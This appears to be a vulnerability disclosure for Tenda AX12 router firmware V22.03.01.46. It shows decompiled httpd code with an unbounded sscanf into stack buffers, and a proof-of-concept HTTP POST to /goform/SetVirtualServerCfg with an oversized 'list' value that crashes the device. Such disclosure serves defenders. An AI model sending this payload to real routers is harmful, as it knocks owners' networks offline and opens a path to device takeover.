Overview:

Affected Device: Tenda AX12 V1.0
Affected Firmware Version: V22.03.01.46
Impact: Denial of Service (DoS) attack, stack overflow leading to potential root shell access.
Firmware download link: https://www.tenda.com.cn/download/detail-3621.html

Vulnerability:

Vulnerability:

The vulnerability is located in `/goform/SetVirtualServerCfg` where the request parameter `list` does not have a length restriction, ultimately leading to a stack overflow. The vulnerable function `sub_43B1B4` is present in the `httpd` file.

```
80  sub_40A144((int)"GetDMZCfg", (int)sub_43AD78);
81  sub_40A144((int)"SetVirtualServerCfg", (int)sub_43B1B4);// vuln
82  sub_40A144((int)"GetVirtualServerCfg", (int)sub_43B240);
```

The vulnerability exists in `sub_43AF3C`:

```
1 int __fastcall sub_43B1B4(int a1)
2 {
3   int v3[4]; // [sp+1Ch] [-18h] BYREF
4
5   memset(v3, 0, sizeof(v3));
6   blob_buf_init((int)v3, 0);
7   sub_43AF3C(a1, v3);                           // vuln
```

As we can see, the request parameter `list` is passed to the variable `v3`, and since there is no length restriction on the variable `v3`, the subsequent `sscanf` function separates the value of `v3` using commas as delimiters and assigns them to `v12, v11, v10, v9`. These variables only require a certain length of padding to cause a stack overflow, which can easily lead to a denial of service attack. Furthermore, by constructing a suitable exploit, it is possible to gain shell access. The vulnerability is depicted in the following image:

```
int __fastcall sub_43AF3C(int a1, int a2)
{
  char *v3; // $s1
  _BYTE *v4; // $v0
  char *v5; // $s6
  int v6; // $s1
  int v8; // $s1
  int v9[2]; // [sp+24h] [-2Ch] BYREF
  int v10[2]; // [sp+2Ch] [-24h] BYREF
  int v11[2]; // [sp+34h] [-1Ch] BYREF
  int v12[4]; // [sp+3Ch] [-14h] BYREF

  memset(v12, 0, sizeof(v12));
  v9[0] = 0;
  v9[1] = 0;
  v10[0] = 0;
  v10[1] = 0;
  v11[0] = 0;
  v11[1] = 0;
  v3 = sub_415C94(a1, "list", (int)"");
  printf("get_route_info_wp list:%s\n", v3);
  if ( (unsigned int)strlen(v3) < 5 )
    return -1;
  while ( 1 )
  {
    v4 = (_BYTE *)strchr(v3, 126);
    v5 = v4 + 1;
    if ( !v4 )
      break;
    *v4 = 0;
    if ( sscanf(v3, "%[^,],%[^,],%[^,],%s", v12, v11, v10, v9) == 4 )//  stack overflow
```

POC:

```
POST /goform/SetVirtualServerCfg HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 23
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Host: 192.168.122.15
Origin: http://192.168.122.15
Proxy-Connection: keep-alive
Referer: http://192.168.122.15/index.html
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/115.0.5790.171 Safari/537.36
X-Requested-With: XMLHttpRequest
```

```
list="a"*0x2000
```

Impact Effect: